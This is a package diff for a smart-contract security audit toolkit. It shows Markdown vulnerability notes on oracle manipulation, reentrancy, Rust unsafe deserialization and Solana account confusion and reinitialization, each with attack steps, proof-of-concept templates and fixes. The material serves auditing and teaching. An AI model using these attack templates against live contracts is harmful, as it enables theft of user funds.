audit-system 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +351 -0
  3. package/agents/AGENT_REGISTRY.md +150 -0
  4. package/agents/assumption-analyzer.json +7 -0
  5. package/agents/assumption-analyzer.md +37 -0
  6. package/agents/composition-attacker.json +7 -0
  7. package/agents/composition-attacker.md +46 -0
  8. package/agents/economic-attacker.json +7 -0
  9. package/agents/economic-attacker.md +43 -0
  10. package/agents/exploit-writer.json +7 -0
  11. package/agents/exploit-writer.md +48 -0
  12. package/agents/orchestrator.json +16 -0
  13. package/agents/orchestrator.md +46 -0
  14. package/agents/report-writer.json +7 -0
  15. package/agents/report-writer.md +52 -0
  16. package/agents/state-machine-hacker.json +7 -0
  17. package/agents/state-machine-hacker.md +43 -0
  18. package/agents/test-generator.json +7 -0
  19. package/agents/test-generator.md +49 -0
  20. package/cli.js +93 -0
  21. package/config.json +74 -0
  22. package/lib/detect-lang.js +109 -0
  23. package/lib/install.js +229 -0
  24. package/lib/utils.js +41 -0
  25. package/obsidian-vault/README.md +103 -0
  26. package/obsidian-vault/attack-patterns/state-inconsistency.md +90 -0
  27. package/obsidian-vault/exploits/_index.md +109 -0
  28. package/obsidian-vault/exploits/beanstalk-2022.md +334 -0
  29. package/obsidian-vault/exploits/nomad-2022.md +295 -0
  30. package/obsidian-vault/exploits/ronin-2022.md +251 -0
  31. package/obsidian-vault/exploits/wormhole-2022.md +284 -0
  32. package/obsidian-vault/failed-hypotheses/_template.md +77 -0
  33. package/obsidian-vault/hypotheses/_template.md +43 -0
  34. package/obsidian-vault/hypotheses/bridge-protocol-template.md +254 -0
  35. package/obsidian-vault/hypotheses/dex-protocol-template.md +185 -0
  36. package/obsidian-vault/hypotheses/governance-protocol-template.md +263 -0
  37. package/obsidian-vault/hypotheses/lending-protocol-template.md +218 -0
  38. package/obsidian-vault/hypotheses/staking-protocol-template.md +223 -0
  39. package/obsidian-vault/invariant-catalog/defi-invariants.md +307 -0
  40. package/obsidian-vault/invariant-catalog/solana-invariants.md +213 -0
  41. package/obsidian-vault/novel-patterns/pattern-mutation-framework.md +316 -0
  42. package/obsidian-vault/reports/_template.md +92 -0
  43. package/obsidian-vault/research/cross-protocol-analysis/.gitkeep +0 -0
  44. package/obsidian-vault/research/emerging-threats/.gitkeep +0 -0
  45. package/obsidian-vault/research/protocol-specific/.gitkeep +0 -0
  46. package/obsidian-vault/test-strategies/fuzzing.md +75 -0
  47. package/obsidian-vault/vulnerabilities/access-control.md +122 -0
  48. package/obsidian-vault/vulnerabilities/flash-loan-attack.md +66 -0
  49. package/obsidian-vault/vulnerabilities/oracle-manipulation.md +135 -0
  50. package/obsidian-vault/vulnerabilities/reentrancy.md +141 -0
  51. package/obsidian-vault/vulnerabilities/rust-unsafe-deserialization.md +128 -0
  52. package/obsidian-vault/vulnerabilities/solana-account-confusion.md +125 -0
  53. package/obsidian-vault/vulnerabilities/solana-close-account.md +141 -0
  54. package/obsidian-vault/vulnerabilities/solana-cpi-attacks.md +131 -0
  55. package/obsidian-vault/vulnerabilities/solana-signer-authorization.md +119 -0
  56. package/package.json +56 -0
  57. package/skills/audit-connect.md +385 -0
  58. package/skills/auditor.md +280 -0
  59. package/skills/exploit-generator.md +394 -0
  60. package/skills/novel-discovery.md +551 -0
  61. package/skills/test-generator.md +511 -0
@@ -0,0 +1,135 @@
1
+ # Oracle Manipulation
2
+
3
+ tags: #vulnerability #high #critical #oracle #defi
4
+
5
+ ---
6
+
7
+ ## Summary
8
+ Oracle manipulation attacks exploit contracts that use manipulable on-chain price sources (spot DEX prices) to make decisions about collateral values, liquidations, or swap rates.
9
+
10
+ ---
11
+
12
+ ## Pattern Recognition
13
+
14
+ ### Code Signals
15
+ - `getReserves()` from Uniswap/PancakeSwap pair
16
+ - `.price0CumulativeLast()` not used (spot price used instead of TWAP)
17
+ - Custom oracle with single source
18
+ - No staleness check on Chainlink
19
+ - `slot0` from Uniswap V3 (manipulable)
20
+
21
+ ### Detection Query for Claude
22
+ ```
23
+ Where does the contract read price data?
24
+ Is it reading spot price from a DEX?
25
+ Is it using TWAP or a multi-source oracle?
26
+ Can the price source be manipulated in a single transaction?
27
+ Is there a Chainlink staleness check?
28
+ ```
29
+
30
+ ---
31
+
32
+ ## Variants
33
+
34
+ ### Spot Price Manipulation (Flash Loan)
35
+ ```
36
+ 1. Flash loan large amount
37
+ 2. Swap to manipulate DEX spot price
38
+ 3. Call vulnerable function using that price
39
+ 4. Profit from price discrepancy
40
+ 5. Swap back + repay flash loan
41
+ ```
42
+
43
+ ### Chainlink Stale Price
44
+ ```
45
+ 1. Chainlink update delayed (during volatility)
46
+ 2. Contract uses outdated price
47
+ 3. Attacker arbitrages between real and stale price
48
+ ```
49
+
50
+ ### Low Liquidity Oracle
51
+ Pool has low liquidity → small capital moves price dramatically.
52
+
53
+ ---
54
+
55
+ ## Attack Strategy
56
+
57
+ ```
58
+ 1. Identify price feed source in contract
59
+ 2. Check if source is manipulable in one TX
60
+ 3. Calculate flash loan needed to move price significantly
61
+ 4. Model profit: arbitrage value - flash loan fee
62
+ 5. Execute if profitable
63
+ ```
64
+
65
+ ---
66
+
67
+ ## Detection Signals
68
+ - `IUniswapV2Pair(pair).getReserves()` for price
69
+ - `slot0` in Uniswap V3
70
+ - Missing `require(updatedAt >= block.timestamp - STALENESS_THRESHOLD)`
71
+ - Single oracle source with no fallback
72
+
73
+ ---
74
+
75
+ ## PoC Template
76
+
77
+ ```solidity
78
+ function test_oracleManipulation() public {
79
+ // Setup: attacker gets flash loan
80
+ uint256 flashAmount = 1_000_000e18;
81
+
82
+ // Step 1: Record price before manipulation
83
+ uint256 priceBefore = target.getPrice();
84
+
85
+ // Step 2: Manipulate DEX price
86
+ // (large swap in the pair used as oracle)
87
+ vm.startPrank(attacker);
88
+ dex.swap(flashAmount, 0, attacker, "");
89
+
90
+ // Step 3: Call vulnerable function with manipulated price
91
+ uint256 inflatedCollateral = target.getCollateralValue();
92
+
93
+ // Step 4: Exploit the price difference
94
+ target.borrow(inflatedCollateral);
95
+
96
+ // Step 5: Swap back
97
+ dex.swap(0, flashAmount, attacker, "");
98
+
99
+ vm.stopPrank();
100
+
101
+ assertGt(token.balanceOf(attacker), 0, "Exploit failed");
102
+ }
103
+ ```
104
+
105
+ ---
106
+
107
+ ## Fix
108
+
109
+ ```solidity
110
+ // Use TWAP instead of spot price
111
+ function getPrice() external view returns (uint256) {
112
+ // Uniswap V2 TWAP
113
+ uint256 price0Cumulative = pair.price0CumulativeLast();
114
+ // ... compute TWAP over 30+ minutes
115
+
116
+ // OR use Chainlink with staleness check
117
+ (, int256 price, , uint256 updatedAt, ) = feed.latestRoundData();
118
+ require(updatedAt >= block.timestamp - 1 hours, "Stale price");
119
+ return uint256(price);
120
+ }
121
+ ```
122
+
123
+ ---
124
+
125
+ ## Real World Examples
126
+ - Mango Markets (2022) — $114M
127
+ - Cream Finance Flash Loan (2021) — $130M
128
+ - Euler Finance Oracle (2023) — $197M
129
+
130
+ ---
131
+
132
+ ## Links
133
+ - [[attack-patterns/flash-loan-attack]]
134
+ - [[attack-patterns/price-manipulation]]
135
+ - [[hypotheses/oracle-twap-bypass]]
@@ -0,0 +1,141 @@
1
+ # Reentrancy
2
+
3
+ tags: #vulnerability #critical #reentrancy
4
+
5
+ ---
6
+
7
+ ## Summary
8
+ A reentrancy attack occurs when an external contract is called before state updates are finalized, allowing the attacker to recursively call back into the vulnerable function.
9
+
10
+ ---
11
+
12
+ ## Pattern Recognition
13
+
14
+ ### Code Signals
15
+ - External call (`.call()`, `.transfer()`, interface call) before state update
16
+ - `withdraw()` or `claimReward()` functions
17
+ - ETH transfers without ReentrancyGuard
18
+ - `nonReentrant` modifier missing
19
+
20
+ ### Detection Query for Claude
21
+ ```
22
+ Does this function make an external call before updating state?
23
+ Is there a way to recursively re-enter this function?
24
+ Is ReentrancyGuard applied?
25
+ ```
26
+
27
+ ---
28
+
29
+ ## Variants
30
+
31
+ ### Single-Function Reentrancy
32
+ Classic: `withdraw()` → receive() → `withdraw()`
33
+
34
+ ### Cross-Function Reentrancy
35
+ `functionA()` calls external → reenter `functionB()` which reads stale state
36
+
37
+ ### Cross-Contract Reentrancy
38
+ Contract A calls external → reenters Contract B which shares state with A
39
+
40
+ ### Read-Only Reentrancy
41
+ Call external → reenter view function that returns stale values → use stale value in another protocol
42
+
43
+ ---
44
+
45
+ ## Attack Strategy
46
+
47
+ ```
48
+ 1. Deposit funds into vulnerable contract
49
+ 2. Call withdraw()
50
+ 3. In receive()/fallback(), call withdraw() again
51
+ 4. State not yet updated → contract thinks attacker still has balance
52
+ 5. Repeat until drained
53
+ ```
54
+
55
+ ---
56
+
57
+ ## Detection Signals
58
+ - `external call` BEFORE `state update`
59
+ - No `nonReentrant` modifier
60
+ - ETH sent via `.call{value: amount}("")`
61
+ - `balances[msg.sender] = 0` AFTER the send
62
+
63
+ ---
64
+
65
+ ## PoC Template
66
+
67
+ ```solidity
68
+ contract ReentrancyAttacker {
69
+ IVulnerable target;
70
+ uint256 amount;
71
+
72
+ constructor(address _target) payable {
73
+ target = IVulnerable(_target);
74
+ amount = msg.value;
75
+ }
76
+
77
+ function attack() external {
78
+ target.deposit{value: amount}();
79
+ target.withdraw(amount);
80
+ }
81
+
82
+ receive() external payable {
83
+ if (address(target).balance >= amount) {
84
+ target.withdraw(amount);
85
+ }
86
+ }
87
+ }
88
+ ```
89
+
90
+ ---
91
+
92
+ ## Fix
93
+
94
+ ```solidity
95
+ // Apply CEI pattern
96
+ function withdraw(uint256 amount) external nonReentrant {
97
+ require(balances[msg.sender] >= amount);
98
+ balances[msg.sender] -= amount; // Effect BEFORE interaction
99
+ (bool success, ) = msg.sender.call{value: amount}("");
100
+ require(success);
101
+ }
102
+ ```
103
+
104
+ ---
105
+
106
+ ## Solana/CPI Reentrancy Variant
107
+
108
+ In Solana, reentrancy occurs via Cross-Program Invocation (CPI):
109
+
110
+ ```
111
+ Program A calls Program B via invoke() or invoke_signed()
112
+ Program B calls back into Program A during the CPI
113
+ Program A's state is mid-transaction → reads stale data
114
+ ```
115
+
116
+ ### Solana Detection
117
+ - CPI to program that can control execution flow
118
+ - State updated AFTER CPI (not before)
119
+ - No reentrancy guard on instruction handlers
120
+ - Callback accounts are not separated
121
+
122
+ ### Solana Fix
123
+ ```rust
124
+ // Update state BEFORE CPI call
125
+ ctx.accounts.user.balance = user.balance.checked_sub(amount).unwrap();
126
+ // Then do CPI
127
+ invoke(&transfer_ix, &accounts)?;
128
+ ```
129
+
130
+ ## Real World Examples
131
+ - The DAO Hack (2016) — $60M (EVM)
132
+ - Cream Finance (2021) — $130M (EVM)
133
+ - Fei Protocol (2022) — $80M (EVM)
134
+ - Multiple Solana programs with CPI reentrancy
135
+
136
+ ---
137
+
138
+ ## Links
139
+ - [[attack-patterns/state-inconsistency]]
140
+ - [[test-strategies/fuzzing]]
141
+ - [[poc/reentrancy-poc]]
@@ -0,0 +1,128 @@
1
+ # Unsafe Deserialization & Memory Safety (Rust)
2
+
3
+ tags: #vulnerability #rust #unsafe #deserialization #high
4
+
5
+ ---
6
+
7
+ ## Summary
8
+ Smart contracts written in Rust (Solana, ink!) sometimes use `unsafe` code for performance or custom serialization. Incorrect unsafe usage can lead to memory corruption, undefined behavior, and exploitable vulnerabilities.
9
+
10
+ ---
11
+
12
+ ## Pattern Recognition
13
+
14
+ ### Code Signals
15
+ - `unsafe { }` blocks in contract code
16
+ - Custom `Pack`/`Unpack` trait implementations
17
+ - `std::mem::transmute()` usage
18
+ - Raw pointer dereference: `*ptr`, `ptr.read()`, `ptr.write()`
19
+ - Union type access
20
+ - `#[repr(packed)]` structs
21
+ - Manual Borsh deserialization without bounds checks
22
+
23
+ ### Detection Query
24
+ ```
25
+ Is any data deserialized with custom unsafe code?
26
+ Are there transmute calls that could reinterpret types?
27
+ Are raw pointers used without bounds checking?
28
+ Could crafted input cause out-of-bounds reads?
29
+ ```
30
+
31
+ ---
32
+
33
+ ## Variants
34
+
35
+ ### Bounds Check Bypass
36
+ ```rust
37
+ // Unsafe: no length check before deserialization
38
+ unsafe {
39
+ let data = &*(ptr as *const UserData);
40
+ // If input is shorter than UserData, reads OOB memory
41
+ }
42
+ ```
43
+
44
+ ### Type Confusion via Transmute
45
+ ```rust
46
+ // Transmute between unrelated types
47
+ unsafe {
48
+ let value: u64 = std::mem::transmute::<[u8; 8], u64>(bytes);
49
+ // If bytes aren't validated, can produce any u64 value
50
+ }
51
+ ```
52
+
53
+ ### Uninitialized Memory
54
+ ```rust
55
+ // Reading uninitialized memory
56
+ unsafe {
57
+ let mut data: UserData = std::mem::zeroed();
58
+ // zeroed() may produce invalid enum variants
59
+ }
60
+ ```
61
+
62
+ ### Union Type Confusion
63
+ ```rust
64
+ // Union allows reading same bytes as different types
65
+ unsafe {
66
+ u.some_field = value;
67
+ u.other_field; // Reading other field = type confusion
68
+ }
69
+ ```
70
+
71
+ ---
72
+
73
+ ## Attack Strategy
74
+
75
+ ```
76
+ 1. Identify all unsafe blocks in the contract
77
+ 2. Check if attacker-controlled input reaches unsafe code
78
+ 3. Craft input that triggers undefined behavior
79
+ 4. Exploit resulting memory corruption for privilege escalation
80
+ ```
81
+
82
+ ---
83
+
84
+ ## Detection Signals
85
+ - Any `unsafe` in contract business logic (vs. in crypto library)
86
+ - Manual `Pack`/`Unpack` without bounds checks
87
+ - Transmuting between types of different sizes
88
+
89
+ ---
90
+
91
+ ## PoC Concept
92
+
93
+ ```rust
94
+ // Craft input that causes OOB read in unsafe deserialization
95
+ // If custom Pack doesn't check length:
96
+ // Send 3 bytes where 8+ expected
97
+ // Reads uninitialized stack memory
98
+ // Value determines authorization level!
99
+ ```
100
+
101
+ ---
102
+
103
+ ## Fix
104
+
105
+ ```rust
106
+ // Safe: use checked deserialization
107
+ pub fn unpack(data: &[u8]) -> Result<Self, ProgramError> {
108
+ if data.len() < Self::LEN {
109
+ return Err(ProgramError::InvalidAccountData);
110
+ }
111
+ // Safe to proceed
112
+ let inner = UserData::try_from_slice(data)
113
+ .map_err(|_| ProgramError::InvalidAccountData)?;
114
+ Ok(inner)
115
+ }
116
+
117
+ // Avoid transmute entirely
118
+ // Use safe conversions: from_le_bytes(), from_be_bytes()
119
+ let value = u64::from_le_bytes(
120
+ bytes.try_into().map_err(|_| MyError::InvalidLength)?
121
+ );
122
+ ```
123
+
124
+ ---
125
+
126
+ ## Related
127
+ - [[solana-account-confusion]]
128
+ - [[state-inconsistency]]
@@ -0,0 +1,125 @@
1
+ # Account Confusion (Solana)
2
+
3
+ tags: #vulnerability #solana #account-confusion #critical
4
+
5
+ ---
6
+
7
+ ## Summary
8
+ In Solana, all accounts are passed as inputs to instructions. If a program doesn't properly validate which account is which, an attacker can pass the same account in multiple slots or swap accounts of the same type to gain unauthorized access or manipulate state.
9
+
10
+ ---
11
+
12
+ ## Pattern Recognition
13
+
14
+ ### Code Signals (Anchor)
15
+ - `AccountInfo` without type checking
16
+ - `UncheckedAccount` used where validation is needed
17
+ - Same account type used multiple times in a single instruction
18
+ - Missing `#[account(owner = ...)]` constraint
19
+ - Missing `has_one = ...` constraint
20
+ - Accounts passed without checking discriminant or data
21
+
22
+ ### Detection Query
23
+ ```
24
+ Does each Account in the instruction have unique constraints?
25
+ Can any two accounts be the same Pubkey?
26
+ Is there a check that account A ≠ account B?
27
+ Are `has_one` or `seeds` constraints used?
28
+ ```
29
+
30
+ ---
31
+
32
+ ## Variants
33
+
34
+ ### Same-Account Confusion
35
+ Pass the same account as both user A and user B:
36
+ ```
37
+ Instruction expects: [user_a: Signer, user_b: Account]
38
+ Attacker passes: [attacker as both user_a and user_b]
39
+ Impact: Attacker transfers from user A to user B = from self to self
40
+ ```
41
+
42
+ ### Type Confusion
43
+ Pass an account of the same type but different user:
44
+ ```
45
+ Instruction expects: [vault: Account<Vault>, user_vault: Account<Vault>]
46
+ Attacker passes: [user A's vault as both]
47
+ Impact: User B's vault state manipulated via user A's vault
48
+ ```
49
+
50
+ ### Cross-Instruction Confusion
51
+ Same account reused across different instructions with different meanings
52
+
53
+ ---
54
+
55
+ ## Attack Strategy
56
+
57
+ ```
58
+ 1. Identify instruction with multiple accounts of same type
59
+ 2. Check if there's validation they're different accounts
60
+ 3. If not, pass same account for both parameters
61
+ 4. This can: bypass limits, double-spend, or confuse authority
62
+ ```
63
+
64
+ ---
65
+
66
+ ## Detection Signals
67
+ - Multiple `Account<T>` of same type `T` in one instruction
68
+ - No `#[account(address = ...)]` or `has_one` constraints
69
+ - No `require_keys_neq!(a, b)` checks
70
+ - Accounts derived from user input not validated
71
+
72
+ ---
73
+
74
+ ## PoC Template (Anchor/TS)
75
+
76
+ ```typescript
77
+ it("account confusion exploit", async () => {
78
+ const victim = anchor.web3.Keypair.generate();
79
+
80
+ // Pass victim as BOTH accounts
81
+ const tx = await program.methods
82
+ .vulnerableFunction()
83
+ .accounts({
84
+ accountA: victim.publicKey,
85
+ accountB: victim.publicKey, // Same!
86
+ })
87
+ .signers([attacker])
88
+ .rpc();
89
+ });
90
+ ```
91
+
92
+ ---
93
+
94
+ ## Fix
95
+
96
+ ```rust
97
+ // In Anchor, add constraint to ensure different accounts:
98
+ #[derive(Accounts)]
99
+ pub struct Transfer<'info> {
100
+ #[account(mut)]
101
+ pub from: Signer<'info>,
102
+ #[account(
103
+ mut,
104
+ constraint = from.key() != to.key() @ MyError::SameAccount
105
+ )]
106
+ pub to: Account<'info, User>,
107
+ }
108
+
109
+ // Or manually:
110
+ require_keys_neq!(from.key(), to.key());
111
+ ```
112
+
113
+ ---
114
+
115
+ ## Real World Examples
116
+ - Solana SPL Token program: initial design allowed self-transfer
117
+ - Multiple Solana NFT marketplace hacks
118
+ - Crema Finance (2022) — account confusion in swap logic
119
+
120
+ ---
121
+
122
+ ## Links
123
+ - [[solana-cpi-attacks]]
124
+ - [[solana-signer-authorization]]
125
+ - [[defi-invariants]]
@@ -0,0 +1,141 @@
1
+ # Close Account & Reinitialization (Solana)
2
+
3
+ tags: #vulnerability #solana #close #reinit #high
4
+
5
+ ---
6
+
7
+ ## Summary
8
+ In Solana, accounts can be closed to reclaim rent. If not handled correctly, attackers can reinitialize closed accounts to gain unauthorized access or manipulate state.
9
+
10
+ ---
11
+
12
+ ## Pattern Recognition
13
+
14
+ ### Code Signals
15
+ - `close` instruction that sends lamports to a destination
16
+ - Missing discriminator check on account data
17
+ - No `initialized` flag
18
+ - Account size can change between close and reinit
19
+ - Old account data remains in memory after close
20
+
21
+ ### Detection Query
22
+ ```
23
+ Does close() zero out account data or change discriminator?
24
+ Can the same account address be reinitialized after close?
25
+ Does every instruction check if account is already initialized?
26
+ ```
27
+
28
+ ---
29
+
30
+ ## Variants
31
+
32
+ ### Reinitialization Attack
33
+ ```
34
+ 1. User creates account A
35
+ 2. User closes account A (rent reclaimed)
36
+ 3. Attacker reinitializes account A at same address
37
+ 4. Attacker now controls what was previously user A's account
38
+ ```
39
+
40
+ ### Use-After-Close
41
+ ```
42
+ 1. Account data is not cleared on close
43
+ 2. Discriminator not checked before use
44
+ 3. Old data remains accessible
45
+ 4. Attacker reads stale data or passes closed-but-not-cleared account
46
+ ```
47
+
48
+ ### Rent Theft
49
+ ```
50
+ close instruction sends rent to wrong destination
51
+ Attacker drains rent from all closable accounts
52
+ ```
53
+
54
+ ---
55
+
56
+ ## Attack Strategy
57
+
58
+ ```
59
+ 1. Find close instruction
60
+ 2. Check if account data is cleared (discriminator reset)
61
+ 3. Check if all instructions verify account discriminator
62
+ 4. If discriminator not checked: close → reinit → exploit
63
+ ```
64
+
65
+ ---
66
+
67
+ ## Detection Signals
68
+ - No discriminator check in instruction handlers
69
+ - Close instruction doesn't zero out account data
70
+ - No `is_initialized` or version field
71
+ - Account type can be reinterpreted after reinit
72
+
73
+ ---
74
+
75
+ ## PoC Template (Anchor/TS)
76
+
77
+ ```typescript
78
+ it("reinitialization attack", async () => {
79
+ // 1. Create victim's account
80
+ await program.methods
81
+ .initialize()
82
+ .accounts({ user: victim.publicKey })
83
+ .signers([victim])
84
+ .rpc();
85
+
86
+ // 2. Close it
87
+ await program.methods
88
+ .close()
89
+ .accounts({ user: victim.publicKey })
90
+ .signers([victim])
91
+ .rpc();
92
+
93
+ // 3. Reinitialize with attacker control
94
+ await program.methods
95
+ .initialize()
96
+ .accounts({ user: victim.publicKey }) // Same address!
97
+ .signers([victim]) // Attacker has keypair
98
+ .rpc();
99
+
100
+ // 4. Now attacker has elevated privileges
101
+ });
102
+ ```
103
+
104
+ ---
105
+
106
+ ## Fix
107
+
108
+ ```rust
109
+ // Anchor: close constraint handles this
110
+ #[derive(Accounts)]
111
+ pub struct Close<'info> {
112
+ #[account(
113
+ mut,
114
+ close = destination, // Anchor handles zeroing + rent return
115
+ constraint = user.key == owner.key
116
+ )]
117
+ pub user: Account<'info, UserData>,
118
+ #[account(mut)]
119
+ pub destination: Signer<'info>,
120
+ }
121
+
122
+ // Manual: zero out discriminator
123
+ pub fn close(ctx: Context<Close>) -> Result<()> {
124
+ let data = ctx.accounts.user.to_account_info();
125
+ let mut data_bytes = data.data.borrow_mut();
126
+ data_bytes[0..8].copy_from_slice(&[0u8; 8]); // Clear discriminator
127
+ Ok(())
128
+ }
129
+ ```
130
+
131
+ ---
132
+
133
+ ## Real World Examples
134
+ - Jet Protocol — reinitialization vulnerability
135
+ - Multiple Solana programs with close + reinit patterns
136
+
137
+ ---
138
+
139
+ ## Links
140
+ - [[solana-account-confusion]]
141
+ - [[solana-signer-authorization]]